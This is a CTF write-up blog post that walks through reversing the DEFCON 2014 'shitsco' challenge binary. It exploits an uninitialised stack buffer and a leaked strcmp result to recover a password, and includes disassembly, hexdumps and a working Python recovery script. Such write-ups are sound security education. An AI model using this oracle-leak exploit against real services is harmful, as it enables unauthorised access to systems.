I constantly challenge myself to gain deeper knowledge in reverse engineering, vulnerability discovery, and exploit mitigations. By day, I channel this knowledge and passion into my job as a security researcher at Endgame. By night, I use these skills as a Capture the Flag code warrior. I partook in the DEFCON CTF qualification round this weekend to help sharpen these skills and keep up with the rapid changes in reverse engineering technology. DEFCON CTF qualifications are a fun, and sometimes frustrating, way to cultivate my skillset by solving challenges alongside my team, Samurai.
CTF Background
For those of you who aren’t familiar with a computer security CTF game, Wikipedia provides a simple explanation. The qualification round for the DEFCON CTF is run jeopardy style while the actual game is an attack/defense model. Qualifications ran all weekend for 48 hours with no breaks. Since 2013 the contest has been run by volunteers belonging to a hacker club called the Legitimate Business Syndicate, which is partly comprised of former Samurai members. They did a fantastic job with qualifications this year and ran a smooth game with almost no downtime, solid technical challenges, round the clock support and the obligatory good-natured heckling. As a fun exercise, let’s walk through an interesting problem from the game. All of the problems from the CTF game can be found here.
Problem Introduction
The first challenge was written by someone we’ll call Mr. G and was worth 2 points. Upon opening the challenge you are presented with the following text:
http://services.2014.shallweplayaga.me/shitsco_c8b1aa31679e945ee64bde1bdb19d035 is running at: shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me:31337 Capture the flag.
Downloading the shitsco_c8b1aa31679e945ee64bde1bdb19d035 file and running the “file” command reveals:
user@ubuntu:~$ file shitsco shitsco: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x8657c9bdf925b4864b09ce277be0f4d52dae33a6, stripped
This is an ELF file that we can assume will run on a Linux 32-bit OS. Symbols were stripped to make reverse engineering a bit more difficult. At least it is not statically linked. I generally like to run strings on a binary at this point to get a quick sense of what might be happening in the binary. Doing this shows several string APIs imported and text that looks to be indicative of a command prompt style interface. Let’s run the binary to confirm this:
user@ubuntu:~$ ./shitsco Failed to open password file: No such file or directory
Ok, the program did not do what I expected. We will need to add a user shitsco and create a file in his home directory called password. I determined this by running:
shitsco@ubuntu:~$ sudo strace ./shitsco … open("/home/shitsco/password", O_RDONLY) = -1 ENOENT (No such file or directory) …
We can see that the file /home/shitsco/password was opened for reading and that this failed (ENOENT) because the file did not exist. You should create this file without a new line on the end or you might have trouble later on. I discovered this through trial and error. After creating the file we get better results:
shitsco@ubuntu:~$ echo –n asdf > /home/shitsco/password shitsco@ubuntu:~$ ./shitsco oooooooo8 oooo o88 o8 888 888ooooo oooo o888oo oooooooo8 ooooooo ooooooo 888oooooo 888 888 888 888 888ooooooo 888 888 888 888 888 888 888 888 888 888 888 888 888 o88oooo888 o888o o888o o888o 888o 88oooooo88 88ooo888 88ooo88 Welcome to Shitsco Internet Operating System (IOS) For a command list, enter ? $ ? ==========Available Commands========== |enable | |ping | |tracert | |? | |shell | |set | |show | |credits | |quit | ====================================== Type ? followed by a command for more detailed information $
This looks like fun. We have what looks to be a router prompt. Typically, the goal with these binary exploitation problems is to identify somewhere that user input causes the program to crash and then devise a way to make that input take control over the program and reveal a file called flag residing on the remote machine. At this point, I have two choices. I can play around with the input to see if I can get it to crash or I can dive into the reverse engineering. I opted to play around with the input and the first thing that caught my attention was the shell command!
Welcome to Shitsco Internet Operating System (IOS) For a command list, enter ? $ shell bash-3.2$
No way, it couldn’t be that easy. Waiting 5 seconds produces:
Yeah, right.
Ok, let the taunting begin. We can ignore the shell command. Thanks for the laugh Mr. G. By playing with the command line interface, I found the command input length was limited to 80 characters with anything coming after 80 characters applying to the next command. The set and show commands looked interesting, but even adding 1000 variables of different lengths failed to produce any interesting behavior. Typically, I am looking for a way to crash the program at this point.
What really looked like the solution came from the enable command:
$ enable Please enter a password: asdf Authentication Successful # ? ==========Available Commands========== |enable | |ping | |tracert | |? | |flag | |shell | |set | |show | |credits | |quit | |disable | ====================================== Type ? followed by a command for more detailed information # flag The flag is: foobarbaz
The password for the enable prompt comes from the password file we created earlier. I also created a file in /home/shitsco/ called flag with the contents foobarbaz; which is now happily displayed on my console. The help (? command) after we enter “enabled mode” has two extra commands: disable and flag. So, if I can get the enable password on the remote machine, then I can simply run the flag command and score points on the problem. Ok, we have a plan, but how to crack that password?
The “Enable” Password
To recover this password, the first option that comes to mind is brute force. This is usually an option of last resort in CTF competitions. Just think about what could happen to this poor service if 1000 people decided to brute force the challenge. Having an inaccessible service spoils the fun for others playing. It’s time to dive a bit deeper and see if there is anything else we could try.
I tried long passwords, passwords with format strings such as %s, empty passwords, and passwords with binary data. None of these produced any results. However, a password length of 5 caused a strange behavior:
$ enable Please enter a password: AAAAA Nope. The password isn't AAAAA▒r▒@▒r▒▒ο`M_▒`▒▒▒t▒
Ok, that looks like we’re getting extra memory back. If we look at it as hex we see:
shitsco@ubuntu:~$ echo -e enable\\nAAAAA\\n | ./shitsco | xxd … 0000220: 2020 5468 6520 7061 7373 776f 7264 2069 The password i 0000230: 736e 2774 2041 4141 4141 f07c b740 f47c sn't AAAAA.|.@.| 0000240: b792 90c1 bf60 c204 0808 8d69 b760 c204 .....`.....i.`.. 0000250: 08a0 297f b701 0a24 200a 3a20 496e 7661 ..)....$ .: Inva 0000260: 6c69 6420 636f 6d6d 616e 640a 2420 lid command.$
The bit that starts 0xf0 0x7c is the start of the memory disclosure. Looking a little further, we see 0x60 0xc2 0x04 0x08. This looks like it could be a little endian encoded pointer for 0x0804c260. This is pretty cool and all, but where is the password?
I tried sending in all possible password lengths and it was always leaking the same amount of data. But the leak only worked if the password is more than 4 characters. It’s time to turn to IDA Pro and focus in on the function for the enable command.
This is the disassembly for the function responsible for handling the enable command. It is easy to find with string cross references:
.text:08049230 enable proc near ; DATA XREF: .data:0804C270o .text:08049230 .text:08049230 dest = dword ptr -4Ch .text:08049230 src = dword ptr -48h .text:08049230 n = dword ptr -44h .text:08049230 term = byte ptr -40h .text:08049230 s2 = byte ptr -34h .text:08049230 var_14 = dword ptr -14h .text:08049230 cookie = dword ptr -10h .text:08049230 arg_0 = dword ptr 4 .text:08049230 .text:08049230 push esi .text:08049231 push ebx .text:08049232 sub esp, 44h .text:08049235 mov esi, [esp+4Ch+arg_0] .text:08049239 mov eax, large gs:14h .text:0804923F mov [esp+4Ch+cookie], eax .text:08049243 xor eax, eax .text:08049245 mov eax, [esi] .text:08049247 test eax, eax .text:08049249 jz loc_80492D8 .text:0804924F lea ebx, [esp+4Ch+s2] .text:08049253 mov [esp+4Ch+n], 20h ; n .text:0804925B mov [esp+4Ch+src], eax ; src .text:0804925F mov [esp+4Ch+dest], ebx ; dest .text:08049262 call _strncpy .text:08049267 .text:08049267 loc_8049267: ; CODE XREF: enable+EDj .text:08049267 mov [esp+4Ch+src], ebx ; s2 .text:0804926B mov [esp+4Ch+dest], offset password_mem ; s1 .text:08049272 call _strcmp .text:08049277 mov [esp+4Ch+var_14], eax .text:0804927B mov eax, [esp+4Ch+var_14] .text:0804927F test eax, eax .text:08049281 jz short loc_80492B8 .text:08049283 mov [esp+4Ch+n], ebx .text:08049287 mov [esp+4Ch+src], offset aNope_ThePasswo ; "Nope. The password isn't %s\n" .text:0804928F mov [esp+4Ch+dest], 1 .text:08049296 call ___printf_chk .text:0804929B .text:0804929B loc_804929B: ; CODE XREF: enable+A5j .text:0804929B mov [esp+4Ch+dest], esi .text:0804929E call sub_8049090 .text:080492A3 mov eax, [esp+4Ch+cookie] .text:080492A7 xor eax, large gs:14h .text:080492AE jnz short loc_8049322 .text:080492B0 add esp, 44h .text:080492B3 pop ebx .text:080492B4 pop esi .text:080492B5 retn .text:080492B5 ; --------------------------------------------------------------------------- .text:080492B6 align 4 .text:080492B8 .text:080492B8 loc_80492B8: ; CODE XREF: enable+51j .text:080492B8 mov [esp+4Ch+dest], offset aAuthentication ; "Authentication Successful" .text:080492BF mov ds:admin_privs, 1 .text:080492C9 mov ds:prompt, 23h .text:080492D0 call _puts .text:080492D5 jmp short loc_804929B .text:080492D5 ; --------------------------------------------------------------------------- .text:080492D7 align 4 .text:080492D8 .text:080492D8 loc_80492D8: ; CODE XREF: enable+19j .text:080492D8 mov [esp+4Ch+src], offset aPleaseEnterAPa ; "Please enter a password: " .text:080492E0 lea ebx, [esp+4Ch+s2] .text:080492E4 mov [esp+4Ch+dest], 1 .text:080492EB call ___printf_chk .text:080492F0 mov eax, ds:stdout .text:080492F5 mov [esp+4Ch+dest], eax ; stream .text:080492F8 call _fflush .text:080492FD mov dword ptr [esp+4Ch+term], 0Ah ; term .text:08049305 mov [esp+4Ch+n], 20h ; a3 .text:0804930D mov [esp+4Ch+src], ebx ; a2 .text:08049311 mov [esp+4Ch+dest], 0 ; fd .text:08049318 call read_n_until .text:0804931D jmp loc_8049267 .text:08049322 ; --------------------------------------------------------------------------- .text:08049322 .text:08049322 loc_8049322: ; CODE XREF: enable+7Ej .text:08049322 call ___stack_chk_fail .text:08049322 enable endp
Here is the C decompiled version of the function that is a bit clearer:
int __cdecl enable(const char **a1) { const char *v1; // ebx@2 char s2[32]; // [sp+18h] [bp-34h]@2 int v4; // [sp+38h] [bp-14h]@3 int cookie[4]; // [sp+3Ch] [bp-10h]@1 cookie[0] = *MK_FP(__GS__, 20); if ( *a1 ) { v1 = s2; strncpy(s2, *a1, 32u); } else { v1 = s2; __printf_chk(1, "Please enter a password: "); fflush(stdout); read_n_until(0, (int)s2, 32, 10); } v4 = strcmp((const char *)password_mem, v1); if ( v4 ) { __printf_chk(1, "Nope. The password isn't %s\n", v1); } else { admin_privs = 1; prompt = '#'; puts("Authentication Successful"); } sub_8049090((void **)a1); return *MK_FP(__GS__, 20) ^ cookie[0]; }
I’ve labeled a few things here like the local variables and the recv_n_until function. Notice that s2 or [esp+4Ch+src] is the destination buffer for the password we enter. It also looks possible to run enable < password > and not get prompted for the password. This results in a strncpy and the other prompting path read the password with a call to recv_n_until. Here is the interesting thing: When I tried the strncpy code path, I did not get the leak behavior:
$ enable Please enter a password: AAAAA Nope. The password isn't AAAAA`x▒@dx▒▒▒`▒d▒`▒▒▒z▒ $ enable AAAAA Nope. The password isn't AAAAA $
So, what is the difference? Let’s have a quick look at the strncpy man page, namely the bit that says “If the length of src is less than n, strncpy() writes additional null bytes to dest to ensure that a total of n bytes are written.” On the prompting code path, our string is not being null terminated but if we enter the password with the enable command it is null terminated. We can also see that the s2 variable on the stack is never initialized to 0. There is no memset call.
Still we don’t have the password. It doesn’t exist in the leaked data. Leaks are very useful in exploitation as a defeat to ASLR. We might have enough information here to recover base addresses of the stack or libc. However, the path we are on to get the flag does not involve taking advantage of memory corruption. Is there anything in this leak that could give us something useful?
To answer this question let’s look at the stack layout and what is actually getting printed back to us:
.text:08049230 dest = dword ptr -4Ch .text:08049230 src = dword ptr -48h .text:08049230 n = dword ptr -44h .text:08049230 term = byte ptr -40h .text:08049230 s2 = byte ptr -34h .text:08049230 var_14 = dword ptr -14h .text:08049230 cookie = dword ptr -10h .text:08049230 arg_0 = dword ptr 4
Therefore, if we are copying into s2 and we only leak data after the 4th character, we can assume that by default in the uninitialized stack there is a null at s2[3]. Overwriting this with user data causes our string to not terminate until we run into a null later on up the stack. What is var_14?
v4 = strcmp((const char *)password_mem, v1);
It turns out that var_14 (or v4) is the return from strcmp. Hummm. Here is what the main page has to say about that “The strcmp() and strncmp() functions return an integer less than, equal to, or greater than zero if s1 (or the first n bytes thereof) is found, respectively, to be less than, to match, or be greater than s2.” What this means is that we can tell if our input string is less than or greater than the password on the remote machine. Let’s try it locally first. Our password locally is “asdf”. Let’s see if we can divine the first character using this method. The var_14 variable should be the 33rd character we get back:
shitsco@ubuntu:~$ python -c "import sys;sys.stdout.write('enable\n' + ''*80 + '\n')" | ./shitsco |xxd … 0000210: 2070 6173 7377 6f72 643a 204e 6f70 652e password: Nope. 0000220: 2020 5468 6520 7061 7373 776f 7264 2069 The password i 0000230: 736e 2774 2020 2020 2020 2020 2020 2020 sn't 0000240: 2020 2020 2020 2020 2020 2020 2020 2020 0000250: 2020 2020 2001 0a24 200a 2020 2020 2020 ..$ .
I picked the space character for our password because on the ascii table space (0x20) is the lowest value printable character. We can see that the bit in bold here was 0x0100 as var_14. The null after the 0x1 is implied. Now, what happens if we set this to ‘a’ + 79 spaces?
shitsco@ubuntu:~$ python -c "import sys;sys.stdout.write('enable\na' + ''*79 + '\n')" | ./shitsco |xxd 0000220: 2020 5468 6520 7061 7373 776f 7264 2069 The password i 0000230: 736e 2774 2061 2020 2020 2020 2020 2020 sn't a 0000240: 2020 2020 2020 2020 2020 2020 2020 2020 0000250: 2020 2020 2001 0a24 200a 2020 2020 2020 ..$ . 0000260: 2020 2020 2020 2020 2020 2020 2020 2020
Remember, that ‘a’ was actually the first character of our password locally and we still got a 0x1 back. How about ‘b’?
shitsco@ubuntu:~$ python -c "import sys;sys.stdout.write('enable\nb' + ''*79 + '\n')" | ./shitsco |xxd 0000220: 2020 5468 6520 7061 7373 776f 7264 2069 The password i 0000230: 736e 2774 2062 2020 2020 2020 2020 2020 sn't b 0000240: 2020 2020 2020 2020 2020 2020 2020 2020 0000250: 2020 2020 20ff ffff ff0a 2420 0a20 2020 .....$ . 0000260: 2020 2020 2020 2020 2020 2020 2020 2020
Bingo. Here we have a value of 0xffffffff for var_14. Therefore, we know that the string we sent in is numerically higher than the actual password. The last character we tried, ‘a’, was still giving us back 0x01. When we see the value of var_14 change to -1 we know that the correct character was not the most recent attempt but the one prior to it. We can send all characters sequentially until we find the password.
Automation
The password used on the remote server is probably short enough that we could disclose it by hand. However, as a general rule in life, if I have to do something more than a few times I almost always save time by writing a quick python script to automate. Since we are going to be running this on a remote target I’ve set the server to run over a TCP port with some fancy piping over a fifo pipe.
shitsco@ubuntu:~$ mkfifo pipe shitsco@ubuntu:~$ nc -l 31337 < pipe | ./shitsco > pipe
Here is a python script that will discover the password used. I’ve changed the password file on my local system to the one that was used during the game:
import socket import string import sys s=socket.socket() s.connect(("192.168.1.151", 31337)) s.recv(1024) def try_pass(passwd): s.send("enable\n") s.recv(1024) s.send(passwd + "\n") ret = s.recv(1024) if ret.find("Authentication Successful") != -1: return "!" return ret[ret.find("$")-2] chars = [] for x in string.printable: chars.append(x) chars.sort() known = "" while 1: prev = chars[0] for x in chars: i = try_pass(known + x + "" * (30-len(known))) if ord(i) == 0xff: known += prev break prev = x i = try_pass(known[:-1]+x+"\x00") if i == '!': print "Enable password is: %s" % (known[:-1]+x) sys.exit()
Running the script produces the output:
$ python shitsco.py Enable password is: bruT3m3hard3rb4by
Excellent, let’s connect to the service with netcat and retrieve the flag:
$ nc shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me 31337 oooooooo8 oooo o88 o8 888 888ooooo oooo o888oo oooooooo8 ooooooo ooooooo 888oooooo 888 888 888 888 888ooooooo 888 888 888 888 888 888 888 888 888 888 888 888 888 o88oooo888 o888o o888o o888o 888o 88oooooo88 88ooo888 88ooo88 Welcome to Shitsco Internet Operating System (IOS) For a command list, enter ? $ enable bruT3m3hard3rb4by Authentication Successful # flag The flag is: 14424ff8673ad039b32cfd756989be12
All that’s left to do is submit the flag and score points!
I’ll be posting another challenge and solution from the CTF soon, so if you found this one interesting, be sure to check back for more.